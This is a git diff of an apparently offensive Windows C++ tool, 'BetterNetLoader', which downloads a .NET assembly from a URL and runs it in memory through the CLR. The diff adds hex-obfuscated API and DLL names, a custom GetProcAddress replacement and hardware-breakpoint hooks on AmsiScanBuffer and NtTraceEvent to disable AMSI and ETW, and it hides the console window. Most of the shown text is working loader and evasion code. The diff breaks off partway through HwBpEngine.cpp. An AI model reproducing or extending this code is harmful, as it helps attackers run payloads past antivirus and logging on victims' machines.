diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e303945 --- /dev/null +++ b/.gitignore @@ -0,0 +1,12 @@ +*.obj +*.pdb +*.exe +*.log +*.tlog +*.idb +*.ilk +*.recipe +*.iobj +*.ipdb +*.ini +*.txt diff --git a/BetterNetLoader/Base64.cpp b/BetterNetLoader/Base64.cpp new file mode 100644 index 0000000..2229adb --- /dev/null +++ b/BetterNetLoader/Base64.cpp @@ -0,0 +1,260 @@ +/* + base64.cpp and base64.h + + base64 encoding and decoding with C++. + More information at + https://renenyffenegger.ch/notes/development/Base64/Encoding-and-decoding-base-64-with-cpp + + Version: 2.rc.09 (release candidate) + + Copyright (C) 2004-2017, 2020-2022 René Nyffenegger + + This source code is provided 'as-is', without any express or implied + warranty. In no event will the author be held liable for any damages + arising from the use of this software. + + Permission is granted to anyone to use this software for any purpose, + including commercial applications, and to alter it and redistribute it + freely, subject to the following restrictions: + + 1. The origin of this source code must not be misrepresented; you must not + claim that you wrote the original source code. If you use this source code + in a product, an acknowledgment in the product documentation would be + appreciated but is not required. + + 2. Altered source versions must be plainly marked as such, and must not be + misrepresented as being the original source code. + + 3. This notice may not be removed or altered from any source distribution. + + René Nyffenegger rene.nyffenegger@adp-gmbh.ch + +*/ + +#include "base64.h" + +#include +#include + +// +// Depending on the url parameter in base64_chars, one of +// two sets of base64 characters needs to be chosen. +// They differ in their last two characters. +// +static const char* base64_chars[2] = { + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz" + "0123456789" + "+/", + + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz" + "0123456789" + "-_" }; + +static unsigned int pos_of_char(const unsigned char chr) { + // + // Return the position of chr within base64_encode() + // + + if (chr >= 'A' && chr <= 'Z') return chr - 'A'; + else if (chr >= 'a' && chr <= 'z') return chr - 'a' + ('Z' - 'A') + 1; + else if (chr >= '0' && chr <= '9') return chr - '0' + ('Z' - 'A') + ('z' - 'a') + 2; + else if (chr == '+' || chr == '-') return 62; // Be liberal with input and accept both url ('-') and non-url ('+') base 64 characters ( + else if (chr == '/' || chr == '_') return 63; // Ditto for '/' and '_' + else + // + // 2020-10-23: Throw std::exception rather than const char* + //(Pablo Martin-Gomez, https://github.com/Bouska) + // + throw std::runtime_error("Input is not valid base64-encoded data."); +} + +static std::string insert_linebreaks(std::string str, size_t distance) { + // + // Provided by https://github.com/JomaCorpFX, adapted by me. + // + if (!str.length()) { + return ""; + } + + size_t pos = distance; + + while (pos < str.size()) { + str.insert(pos, "\n"); + pos += distance + 1; + } + + return str; +} + +template +static std::string encode_with_line_breaks(String s) { + return insert_linebreaks(base64_encode(s, false), line_length); +} + +template +static std::string encode_pem(String s) { + return encode_with_line_breaks(s); +} + +template +static std::string encode_mime(String s) { + return encode_with_line_breaks(s); +} + +template +static std::string encode(String s, bool url) { + return base64_encode(reinterpret_cast(s.data()), s.length(), url); +} + +std::string base64_encode(unsigned char const* bytes_to_encode, size_t in_len, bool url) { + + size_t len_encoded = (in_len + 2) / 3 * 4; + + unsigned char trailing_char = url ? '.' : '='; + + // + // Choose set of base64 characters. They differ + // for the last two positions, depending on the url + // parameter. + // A bool (as is the parameter url) is guaranteed + // to evaluate to either 0 or 1 in C++ therefore, + // the correct character set is chosen by subscripting + // base64_chars with url. + // + const char* base64_chars_ = base64_chars[url]; + + std::string ret; + ret.reserve(len_encoded); + + unsigned int pos = 0; + + while (pos < in_len) { + ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0xfc) >> 2]); + + if (pos + 1 < in_len) { + ret.push_back(base64_chars_[((bytes_to_encode[pos + 0] & 0x03) << 4) + ((bytes_to_encode[pos + 1] & 0xf0) >> 4)]); + + if (pos + 2 < in_len) { + ret.push_back(base64_chars_[((bytes_to_encode[pos + 1] & 0x0f) << 2) + ((bytes_to_encode[pos + 2] & 0xc0) >> 6)]); + ret.push_back(base64_chars_[bytes_to_encode[pos + 2] & 0x3f]); + } + else { + ret.push_back(base64_chars_[(bytes_to_encode[pos + 1] & 0x0f) << 2]); + ret.push_back(trailing_char); + } + } + else { + + ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0x03) << 4]); + ret.push_back(trailing_char); + ret.push_back(trailing_char); + } + + pos += 3; + } + + + return ret; +} + +template +static std::string decode(String const& encoded_string, bool remove_linebreaks) { + + if (encoded_string.empty()) return std::string(); + + if (remove_linebreaks) { + + std::string copy(encoded_string); + + copy.erase(std::remove(copy.begin(), copy.end(), '\n'), copy.end()); + + return base64_decode(copy, false); + } + + size_t length_of_string = encoded_string.length(); + size_t pos = 0; + + size_t approx_length_of_decoded_string = length_of_string / 4 * 3; + std::string ret; + ret.reserve(approx_length_of_decoded_string); + + while (pos < length_of_string) { + + size_t pos_of_char_1 = pos_of_char(encoded_string.at(pos + 1)); + + // + // Emit the first output byte that is produced in each chunk: + // + ret.push_back(static_cast(((pos_of_char(encoded_string.at(pos + 0))) << 2) + ((pos_of_char_1 & 0x30) >> 4))); + + if ((pos + 2 < length_of_string) && // Check for data that is not padded with equal signs (which is allowed by RFC 2045) + encoded_string.at(pos + 2) != '=' && + encoded_string.at(pos + 2) != '.' // accept URL-safe base 64 strings, too, so check for '.' also. + ) + { + // + // Emit a chunk's second byte (which might not be produced in the last chunk). + // + unsigned int pos_of_char_2 = pos_of_char(encoded_string.at(pos + 2)); + ret.push_back(static_cast(((pos_of_char_1 & 0x0f) << 4) + ((pos_of_char_2 & 0x3c) >> 2))); + + if ((pos + 3 < length_of_string) && + encoded_string.at(pos + 3) != '=' && + encoded_string.at(pos + 3) != '.' + ) + { + // + // Emit a chunk's third byte (which might not be produced in the last chunk). + // + ret.push_back(static_cast(((pos_of_char_2 & 0x03) << 6) + pos_of_char(encoded_string.at(pos + 3)))); + } + } + + pos += 4; + } + + return ret; +} + +std::string base64_decode(std::string const& s, bool remove_linebreaks) { + return decode(s, remove_linebreaks); +} + +std::string base64_encode(std::string const& s, bool url) { + return encode(s, url); +} + +std::string base64_encode_pem(std::string const& s) { + return encode_pem(s); +} + +std::string base64_encode_mime(std::string const& s) { + return encode_mime(s); +} + +#if __cplusplus >= 201703L +// +// Interface with std::string_view rather than const std::string& +// Requires C++17 +// Provided by Yannic Bonenberger (https://github.com/Yannic) +// + +std::string base64_encode(std::string_view s, bool url) { + return encode(s, url); +} + +std::string base64_encode_pem(std::string_view s) { + return encode_pem(s); +} + +std::string base64_encode_mime(std::string_view s) { + return encode_mime(s); +} + +std::string base64_decode(std::string_view s, bool remove_linebreaks) { + return decode(s, remove_linebreaks); +} + +#endif // __cplusplus >= 201703L \ No newline at end of file diff --git a/BetterNetLoader/Base64.h b/BetterNetLoader/Base64.h new file mode 100644 index 0000000..0ece269 --- /dev/null +++ b/BetterNetLoader/Base64.h @@ -0,0 +1,37 @@ +#pragma once + +// +// base64 encoding and decoding with C++. +// Version: 2.rc.09 (release candidate) +// + +#ifndef BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A +#define BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A + +#include + +#if __cplusplus >= 201703L +#include +#endif // __cplusplus >= 201703L + +std::string base64_encode(std::string const& s, bool url = false); +std::string base64_encode_pem(std::string const& s); +std::string base64_encode_mime(std::string const& s); + +std::string base64_decode(std::string const& s, bool remove_linebreaks = false); +std::string base64_encode(unsigned char const*, size_t len, bool url = false); + +#if __cplusplus >= 201703L +// +// Interface with std::string_view rather than const std::string& +// Requires C++17 +// Provided by Yannic Bonenberger (https://github.com/Yannic) +// +std::string base64_encode(std::string_view s, bool url = false); +std::string base64_encode_pem(std::string_view s); +std::string base64_encode_mime(std::string_view s); + +std::string base64_decode(std::string_view s, bool remove_linebreaks = false); +#endif // __cplusplus >= 201703L + +#endif /* BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A */ \ No newline at end of file diff --git a/BetterNetLoader/BetterNetLoader.cpp b/BetterNetLoader/BetterNetLoader.cpp index 36a8e0f..7d348b0 100644 --- a/BetterNetLoader/BetterNetLoader.cpp +++ b/BetterNetLoader/BetterNetLoader.cpp @@ -1,288 +1,165 @@ #include #include -#include +#include #include -#include - #include "HwBpEngine.h" +#include "winternal.h" #pragma comment(lib, "mscoree.lib") #pragma comment(lib, "wininet.lib") -#define PIPE_BUFFER_LENGTH 0x10000 * 5 +#define PIPE_BUFFER_LENGTH (0x10000 * 5) namespace mscorlib { #include "mscorlib.h" } +static const char s_amsi_dll[] = { 0x61,0x6D,0x73,0x69,0x2E,0x64,0x6C,0x6C,0x00 }; +static const char s_amsi_scan_buffer[] = { 0x41,0x6D,0x73,0x69,0x53,0x63,0x61,0x6E,0x42,0x75,0x66,0x66,0x65,0x72,0x00 }; +static const char s_ntdll_dll[] = { 0x6E,0x74,0x64,0x6C,0x6C,0x2E,0x64,0x6C,0x6C,0x00 }; +static const char s_nt_trace_event[] = { 0x4E,0x74,0x54,0x72,0x61,0x63,0x65,0x45,0x76,0x65,0x6E,0x74,0x00 }; +static const WCHAR s_clr_v4[] = { + 0x0076,0x0034,0x002E,0x0030,0x002E,0x0033,0x0030,0x0033,0x0031,0x0039,0x0000 +}; -BOOL ReadFileFromURLA( - IN LPCSTR url, - OUT PBYTE* ppFileBuffer, - OUT PDWORD pdwFileSize -) { - HINTERNET hInternet = NULL, hConnect = NULL; - PBYTE pBaseAddress = NULL; - DWORD dwFileSize = 0, dwBytesRead = 0, totalBytesRead = 0; - - if (!url || !ppFileBuffer || !pdwFileSize) { - printf("[-] Invalid parameters passed to ReadFileFromURLA.\n"); - return FALSE; - } - - hInternet = InternetOpenA("FileDownloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); - if (!hInternet) { - printf("[-] InternetOpenA failed with error: %lu\n", GetLastError()); - return FALSE; - } - - hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0); - if (!hConnect) { - printf("[-] InternetOpenUrlA failed for URL: %s, Error: %lu\n", url, GetLastError()); - InternetCloseHandle(hInternet); - return FALSE; - } - - pBaseAddress = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024); // Start with 1MB buffer - if (!pBaseAddress) { - printf("[-] HeapAlloc failed. Error: %lu\n", GetLastError()); - InternetCloseHandle(hConnect); - InternetCloseHandle(hInternet); - return FALSE; - } - - do { - if (totalBytesRead + 1024 > dwFileSize) { - dwFileSize = (dwFileSize + 1024) * 2; - PBYTE newBuffer = (PBYTE)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pBaseAddress, dwFileSize); - if (!newBuffer) { - printf("[-] HeapReAlloc failed. Error: %lu\n", GetLastError()); - HeapFree(GetProcessHeap(), 0, pBaseAddress); - InternetCloseHandle(hConnect); - InternetCloseHandle(hInternet); - return FALSE; - } - pBaseAddress = newBuffer; - } - - if (!InternetReadFile(hConnect, pBaseAddress + totalBytesRead, 1024, &dwBytesRead)) { - printf("[-] InternetReadFile failed. Error: %lu\n", GetLastError()); - HeapFree(GetProcessHeap(), 0, pBaseAddress); - InternetCloseHandle(hConnect); - InternetCloseHandle(hInternet); - return FALSE; - } - totalBytesRead += dwBytesRead; - } while (dwBytesRead > 0); - - *pdwFileSize = totalBytesRead; - *ppFileBuffer = pBaseAddress; - - InternetCloseHandle(hConnect); - InternetCloseHandle(hInternet); - - return TRUE; -} +static const WCHAR s_clr_v2[] = { + 0x0076,0x0032,0x002E,0x0030,0x002E,0x0035,0x0030,0x0037,0x0032,0x0037,0x0000 +}; HRESULT DotnetExecute( - _In_ PBYTE AssemblyBytes, - _In_ ULONG AssemblySize, - _In_ PWSTR AppDomainName, - _In_ PWSTR Arguments, - _Out_ LPSTR* OutputBuffer, - _Out_ PULONG OutputLength -) { - HRESULT HResult = {}; - ICLRMetaHost* IMetaHost = {}; - ICLRRuntimeInfo* IRuntimeInfo = {}; - ICorRuntimeHost* IRuntimeHost = {}; - IUnknown* IAppDomainThunk = {}; - mscorlib::_AppDomain* AppDomain = {}; - mscorlib::_Assembly* Assembly = {}; - mscorlib::_MethodInfo* MethodInfo = {}; - SAFEARRAYBOUND SafeArrayBound = {}; - SAFEARRAY* SafeAssembly = {}; - SAFEARRAY* SafeExpected = {}; - SAFEARRAY* SafeArguments = {}; - PWSTR* AssemblyArgv = {}; - ULONG AssemblyArgc = {}; - LONG Index = {}; - VARIANT VariantArgv = {}; - BOOL IsLoadable = {}; - HWND ConExist = {}; - HWND ConHandle = {}; - HANDLE BackupHandle = {}; - HANDLE IoPipeRead = {}; - HANDLE IoPipeWrite = {}; - SECURITY_ATTRIBUTES SecurityAttr = {}; - HANDLE ExceptionHandle = {}; + _In_ PBYTE AssemblyBytes, + _In_ ULONG AssemblySize, + _In_ PWSTR AppDomainName, + _In_ PWSTR Arguments, + _Out_ LPSTR* OutputBuffer, + _Out_ PULONG OutputLength +) +{ + HRESULT HResult = S_OK; + ICLRMetaHost* IMetaHost = nullptr; + ICLRRuntimeInfo* IRuntimeInfo = nullptr; + ICorRuntimeHost* IRuntimeHost = nullptr; + IUnknown* IAppDomainThunk = nullptr; + mscorlib::_AppDomain* AppDomain = nullptr; + mscorlib::_Assembly* Assembly = nullptr; + mscorlib::_MethodInfo* MethodInfo = nullptr; + SAFEARRAYBOUND SafeArrayBound = { AssemblySize, 0 }; + SAFEARRAY* SafeAssembly = nullptr; + SAFEARRAY* SafeExpected = nullptr; + SAFEARRAY* SafeArguments = nullptr; + PWSTR* AssemblyArgv = nullptr; + ULONG AssemblyArgc = 0; + LONG Index = 0; + VARIANT VariantArgv = {}; + BOOL IsLoadable = FALSE; + HWND ConExist = nullptr; + HWND ConHandle = nullptr; + HANDLE BackupHandle = nullptr; + HANDLE IoPipeRead = nullptr; + HANDLE IoPipeWrite = nullptr; + SECURITY_ATTRIBUTES SecurityAttr = { sizeof(SECURITY_ATTRIBUTES), nullptr, TRUE }; + HANDLE ExceptionHandle = nullptr; - // - // create the CLR instance - // - if ((HResult = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, reinterpret_cast(&IMetaHost)))) { - printf("[-] CLRCreateInstance Failed with Error: %lx\n", HResult); - goto _END_OF_FUNC; - } + // Create the CLR instance. + CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, reinterpret_cast(&IMetaHost)); - if ((HResult = IMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, reinterpret_cast(&IRuntimeInfo)))) { - printf("[-] IMetaHost->GetRuntime Failed with Error: %lx\n", HResult); - goto _END_OF_FUNC; - } + // Try multiple CLR versions. + const wchar_t* clrVersions[] = { s_clr_v4, s_clr_v2 }; + int clrVersionCount = static_cast(sizeof(clrVersions) / sizeof(clrVersions[0])); + for (int i = 0; i < clrVersionCount; i++) { + IMetaHost->GetRuntime(clrVersions[i], IID_ICLRRuntimeInfo, reinterpret_cast(&IRuntimeInfo)); + if (IRuntimeInfo) + break; + } - if ((HResult = IRuntimeInfo->IsLoadable(&IsLoadable)) || !IsLoadable) { - printf("[-] IRuntimeInfo->IsLoadable Failed with Error: %lx (IsLoadable: %s)\n", HResult, IsLoadable ? "true" : "false"); - goto _END_OF_FUNC; - } + IRuntimeInfo->IsLoadable(&IsLoadable); + IRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, reinterpret_cast(&IRuntimeHost)); + IRuntimeHost->Start(); + IRuntimeHost->CreateDomain(AppDomainName, nullptr, &IAppDomainThunk); + IAppDomainThunk->QueryInterface(IID_PPV_ARGS(&AppDomain)); - if ((HResult = IRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, reinterpret_cast(&IRuntimeHost)))) { - printf("[-] IRuntimeInfo->GetInterface Failed with Error: %lx\n", HResult); - goto _END_OF_FUNC; - } + SafeAssembly = SafeArrayCreate(VT_UI1, 1, &SafeArrayBound); + memcpy(SafeAssembly->pvData, AssemblyBytes, AssemblySize); - if ((HResult = IRuntimeHost->Start())) { - printf("[-] IRuntimeHost->Start Failed with Error: %lx\n", HResult); - goto _END_OF_FUNC; - } + // Replace standard GetProcAddress calls with our custom replacements from winternal.h. + SetUniqueHardwareBreakpoint(0, reinterpret_cast( + GetProcAddressReplacement(LoadLibraryA(s_amsi_dll), s_amsi_scan_buffer) + )); + SetUniqueHardwareBreakpoint(1, reinterpret_cast( + GetProcAddressReplacement(LoadLibraryA(s_ntdll_dll), s_nt_trace_event) + )); + ExceptionHandle = AddVectoredExceptionHandler(TRUE, reinterpret_cast(HandleUniqueHwbpException)); - if ((HResult = IRuntimeHost->CreateDomain(AppDomainName, nullptr, &IAppDomainThunk))) { - printf("[-] IRuntimeHost->CreateDomain Failed with Error: %lx\n", HResult); - goto _END_OF_FUNC; - } + AppDomain->Load_3(SafeAssembly, &Assembly); + Assembly->get_EntryPoint(&MethodInfo); + MethodInfo->GetParameters(&SafeExpected); - if ((HResult = IAppDomainThunk->QueryInterface(IID_PPV_ARGS(&AppDomain)))) { - printf("[-] IAppDomainThunk->QueryInterface Failed with Error: %lx\n", HResult); - goto _END_OF_FUNC; - } + if (SafeExpected && SafeExpected->cDims && SafeExpected->rgsabound[0].cElements) + { + SafeArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1); + if (wcslen(Arguments)) + AssemblyArgv = CommandLineToArgvW(Arguments, reinterpret_cast(&AssemblyArgc)); + VariantArgv.parray = SafeArrayCreateVector(VT_BSTR, 0, AssemblyArgc); + VariantArgv.vt = (VT_ARRAY | VT_BSTR); + for (Index = 0; Index < static_cast(AssemblyArgc); Index++) + SafeArrayPutElement(VariantArgv.parray, &Index, SysAllocString(AssemblyArgv[Index])); + Index = 0; + SafeArrayPutElement(SafeArguments, &Index, &VariantArgv); + SafeArrayDestroy(VariantArgv.parray); + } - SafeArrayBound = { AssemblySize, 0 }; - SafeAssembly = SafeArrayCreate(VT_UI1, 1, &SafeArrayBound); + CreatePipe(&IoPipeRead, &IoPipeWrite, nullptr, PIPE_BUFFER_LENGTH); + ConExist = GetConsoleWindow(); + if (!ConExist) + { + AllocConsole(); + ConHandle = GetConsoleWindow(); + if (ConHandle) + ShowWindow(ConHandle, SW_HIDE); + } + BackupHandle = GetStdHandle(STD_OUTPUT_HANDLE); + SetStdHandle(STD_OUTPUT_HANDLE, IoPipeWrite); - memcpy(SafeAssembly->pvData, AssemblyBytes, AssemblySize); + MethodInfo->Invoke_3(VARIANT(), SafeArguments, nullptr); - HwbpEngineBreakpoint(0, GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer")); - HwbpEngineBreakpoint(1, GetProcAddress(LoadLibraryA("ntdll.dll"), "NtTraceEvent")); - if (!(ExceptionHandle = AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)HwbpEngineHandler))) { - printf("[-] AddVectoredContinueHandler Failed with Error: %lx\n", GetLastError()); - goto _END_OF_FUNC; - } + *OutputBuffer = static_cast(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, PIPE_BUFFER_LENGTH)); + ReadFile(IoPipeRead, *OutputBuffer, PIPE_BUFFER_LENGTH, OutputLength, nullptr); - if ((HResult = AppDomain->Load_3(SafeAssembly, &Assembly))) { - printf("[-] AppDomain->Load_3 Failed with Error: %lx\n", HResult); - goto _END_OF_FUNC; - } + // Cleanup block at the end of the function. + SetUniqueHardwareBreakpoint(0, nullptr); + SetUniqueHardwareBreakpoint(1, nullptr); + if (ExceptionHandle) + RemoveVectoredExceptionHandler(ExceptionHandle); + if (BackupHandle) + SetStdHandle(STD_OUTPUT_HANDLE, BackupHandle); + if (IoPipeRead) + CloseHandle(IoPipeRead); + if (IoPipeWrite) + CloseHandle(IoPipeWrite); + if (AssemblyArgv) + { + HeapFree(GetProcessHeap(), 0, AssemblyArgv); + AssemblyArgv = nullptr; + } + if (SafeAssembly) + { + SafeArrayDestroy(SafeAssembly); + SafeAssembly = nullptr; + } + if (SafeArguments) + { + SafeArrayDestroy(SafeArguments); + SafeArguments = nullptr; + } + if (MethodInfo) + MethodInfo->Release(); + if (IRuntimeHost) + IRuntimeHost->Release(); + if (IRuntimeInfo) + IRuntimeInfo->Release(); + if (IMetaHost) + IMetaHost->Release(); - if ((HResult = Assembly->get_EntryPoint(&MethodInfo))) { - printf("[-] Assembly->get_EntryPoint Failed with Error: %lx\n", HResult); - goto _END_OF_FUNC; - } - - if ((HResult = MethodInfo->GetParameters(&SafeExpected))) { - printf("[-] MethodInfo->GetParameters Failed with Error: %lx\n", HResult); - goto _END_OF_FUNC; - } - - if (SafeExpected) { - if (SafeExpected->cDims && SafeExpected->rgsabound[0].cElements) { - SafeArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1); - - if (wcslen(Arguments)) { - AssemblyArgv = CommandLineToArgvW(Arguments, (PINT)&AssemblyArgc); - } - - VariantArgv.parray = SafeArrayCreateVector(VT_BSTR, 0, AssemblyArgc); - VariantArgv.vt = (VT_ARRAY | VT_BSTR); - - for (Index = 0; Index < AssemblyArgc; Index++) { - SafeArrayPutElement(VariantArgv.parray, &Index, SysAllocString(AssemblyArgv[Index])); - } - - Index = 0; - SafeArrayPutElement(SafeArguments, &Index, &VariantArgv); - SafeArrayDestroy(VariantArgv.parray); - } - } - - SecurityAttr = { sizeof(SECURITY_ATTRIBUTES), nullptr, TRUE }; - if (!(CreatePipe(&IoPipeRead, &IoPipeWrite, nullptr, PIPE_BUFFER_LENGTH))) { - printf("[-] CreatePipe Failed with Error: %lx\n", GetLastError()); - HResult = GetLastError(); - goto _END_OF_FUNC; - } - - if (!(ConExist = GetConsoleWindow())) { - AllocConsole(); - if ((ConHandle = GetConsoleWindow())) { - ShowWindow(ConHandle, SW_HIDE); - } - } - - BackupHandle = GetStdHandle(STD_OUTPUT_HANDLE); - SetStdHandle(STD_OUTPUT_HANDLE, IoPipeWrite); - - if ((HResult = MethodInfo->Invoke_3(VARIANT(), SafeArguments, nullptr))) { - printf("[-] MethodInfo->GetParameters Failed with Error: %lx\n", HResult); - goto _END_OF_FUNC; - } - - if ((*OutputBuffer = static_cast(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, PIPE_BUFFER_LENGTH)))) { - if (!ReadFile(IoPipeRead, *OutputBuffer, PIPE_BUFFER_LENGTH, OutputLength, nullptr)) { - printf("[-] ReadFile Failed with Error: %lx\n", GetLastError()); - goto _END_OF_FUNC; - } - } - else { - HResult = ERROR_NOT_ENOUGH_MEMORY; - } - -_END_OF_FUNC: - HwbpEngineBreakpoint(0, nullptr); - HwbpEngineBreakpoint(1, nullptr); - RemoveVectoredExceptionHandler(ExceptionHandle); - - if (BackupHandle) { - SetStdHandle(STD_OUTPUT_HANDLE, BackupHandle); - } - - if (IoPipeRead) { - CloseHandle(IoPipeRead); - } - - if (IoPipeWrite) { - CloseHandle(IoPipeWrite); - } - - if (AssemblyArgv) { - HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, AssemblyArgv); - AssemblyArgv = nullptr; - } - - if (SafeAssembly) { - SafeArrayDestroy(SafeAssembly); - SafeAssembly = nullptr; - } - - if (SafeArguments) { - SafeArrayDestroy(SafeArguments); - SafeArguments = nullptr; - } - - if (MethodInfo) { - MethodInfo->Release(); - } - - if (IRuntimeHost) { - IRuntimeHost->Release(); - } - - if (IRuntimeInfo) { - IRuntimeInfo->Release(); - } - - if (IMetaHost) { - IMetaHost->Release(); - } - - return HResult; -} \ No newline at end of file + return HResult; +} diff --git a/BetterNetLoader/BetterNetLoader.vcxproj b/BetterNetLoader/BetterNetLoader.vcxproj index 66c9c51..76621eb 100644 --- a/BetterNetLoader/BetterNetLoader.vcxproj +++ b/BetterNetLoader/BetterNetLoader.vcxproj @@ -128,14 +128,24 @@ + + + + + + + + + + diff --git a/BetterNetLoader/BetterNetLoader.vcxproj.filters b/BetterNetLoader/BetterNetLoader.vcxproj.filters index 07d1703..6457f78 100644 --- a/BetterNetLoader/BetterNetLoader.vcxproj.filters +++ b/BetterNetLoader/BetterNetLoader.vcxproj.filters @@ -10,6 +10,21 @@ Source + + Source + + + Source + + + Source + + + Source + + + Source + @@ -21,6 +36,21 @@ Header + + Header + + + Header + + + Header + + + Header + + + Header + diff --git a/BetterNetLoader/Http.cpp b/BetterNetLoader/Http.cpp new file mode 100644 index 0000000..c36785d --- /dev/null +++ b/BetterNetLoader/Http.cpp @@ -0,0 +1,98 @@ +#include +#include +#include "winternal.h" // Contains GetProcAddressReplacement, etc. + +// +// Static narrow string definitions (all in hex) +// +static const char s_wininet_dll[] = { 0x77,0x69,0x6E,0x69,0x6E,0x65,0x74,0x2E,0x64,0x6C,0x6C,0x00 }; // "wininet.dll" +static const char s_InternetOpenA[] = { 0x49,0x6E,0x74,0x65,0x72,0x6E,0x65,0x74,0x4F,0x70,0x65,0x6E,0x41,0x00 }; // "InternetOpenA" +static const char s_InternetOpenUrlA[] = { 0x49,0x6E,0x74,0x65,0x72,0x6E,0x65,0x74,0x4F,0x70,0x65,0x6E,0x55,0x72,0x6C,0x41,0x00 }; // "InternetOpenUrlA" +static const char s_InternetReadFile[] = { 0x49,0x6E,0x74,0x65,0x72,0x6E,0x65,0x74,0x52,0x65,0x61,0x64,0x46,0x69,0x6C,0x65,0x00 }; // "InternetReadFile" +static const char s_InternetCloseHandle[] = { 0x49,0x6E,0x74,0x65,0x72,0x6E,0x65,0x74,0x43,0x6C,0x6F,0x73,0x65,0x48,0x61,0x6E,0x64,0x6C,0x65,0x00 }; // "InternetCloseHandle" +static const char s_FileDownloader[] = { 0x46,0x69,0x6C,0x65,0x44,0x6F,0x77,0x6E,0x6C,0x6F,0x61,0x64,0x65,0x72,0x00 }; // "FileDownloader" + +// +// Define function pointer types for wininet functions. +// +typedef HINTERNET(WINAPI* pfnInternetOpenA)(LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD); +typedef HINTERNET(WINAPI* pfnInternetOpenUrlA)(HINTERNET, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR); +typedef BOOL(WINAPI* pfnInternetReadFile)(HINTERNET, LPVOID, DWORD, LPDWORD); +typedef BOOL(WINAPI* pfnInternetCloseHandle)(HINTERNET); + +// +// ReadFileFromURLA dynamically loads all required wininet functions. +// +BOOL ReadFileFromURLA( + IN LPCSTR url, + OUT PBYTE* ppFileBuffer, + OUT PDWORD pdwFileSize +) +{ + // Load wininet.dll dynamically. + HMODULE hWininet = LoadLibraryA(s_wininet_dll); + if (!hWininet) + return FALSE; + + // Get function pointers via our replacement. + pfnInternetOpenA fnInternetOpenA = (pfnInternetOpenA)GetProcAddressReplacement(hWininet, s_InternetOpenA); + pfnInternetOpenUrlA fnInternetOpenUrlA = (pfnInternetOpenUrlA)GetProcAddressReplacement(hWininet, s_InternetOpenUrlA); + pfnInternetReadFile fnInternetReadFile = (pfnInternetReadFile)GetProcAddressReplacement(hWininet, s_InternetReadFile); + pfnInternetCloseHandle fnInternetCloseHandle = (pfnInternetCloseHandle)GetProcAddressReplacement(hWininet, s_InternetCloseHandle); + + if (!fnInternetOpenA || !fnInternetOpenUrlA || !fnInternetReadFile || !fnInternetCloseHandle) + { + FreeLibrary(hWininet); + return FALSE; + } + + // Open an internet session. + HINTERNET hInternet = fnInternetOpenA(s_FileDownloader, INTERNET_OPEN_TYPE_DIRECT, nullptr, nullptr, 0); + if (!hInternet) + { + FreeLibrary(hWininet); + return FALSE; + } + + // Open the URL. + HINTERNET hConnect = fnInternetOpenUrlA(hInternet, url, nullptr, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0); + if (!hConnect) + { + fnInternetCloseHandle(hInternet); + FreeLibrary(hWininet); + return FALSE; + } + + // Allocate an initial buffer (1MB). + DWORD dwFileSize = 1024 * 1024; + PBYTE pBaseAddress = reinterpret_cast(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize)); + if (!pBaseAddress) + { + fnInternetCloseHandle(hConnect); + fnInternetCloseHandle(hInternet); + FreeLibrary(hWininet); + return FALSE; + } + + DWORD dwBytesRead = 0, totalBytesRead = 0; + do { + // Expand buffer if needed. + if (totalBytesRead + 1024 > dwFileSize) + { + dwFileSize = (dwFileSize + 1024) * 2; + pBaseAddress = reinterpret_cast(HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pBaseAddress, dwFileSize)); + } + fnInternetReadFile(hConnect, pBaseAddress + totalBytesRead, 1024, &dwBytesRead); + totalBytesRead += dwBytesRead; + } while (dwBytesRead > 0); + + *pdwFileSize = totalBytesRead; + *ppFileBuffer = pBaseAddress; + + // Clean up. + fnInternetCloseHandle(hConnect); + fnInternetCloseHandle(hInternet); + FreeLibrary(hWininet); + + return TRUE; +} diff --git a/BetterNetLoader/Http.h b/BetterNetLoader/Http.h new file mode 100644 index 0000000..1743b44 --- /dev/null +++ b/BetterNetLoader/Http.h @@ -0,0 +1,9 @@ +#pragma once +#include +#include + +BOOL ReadFileFromURLA( + IN LPCSTR url, + OUT PBYTE* ppFileBuffer, + OUT PDWORD pdwFileSize +); \ No newline at end of file diff --git a/BetterNetLoader/HwBpEngine.cpp b/BetterNetLoader/HwBpEngine.cpp index 2fafe89..368b035 100644 --- a/BetterNetLoader/HwBpEngine.cpp +++ b/BetterNetLoader/HwBpEngine.cpp @@ -1,78 +1,146 @@ #include -#include +#include #include -BOOL HwbpEngineBreakpoint( - _In_ ULONG Position, - _In_ PVOID Function -) { - CONTEXT Context = {}; +#include "winternal.h" - SecureZeroMemory(&Context, sizeof(Context)); +// Ensure NT_SUCCESS is defined. +#ifndef 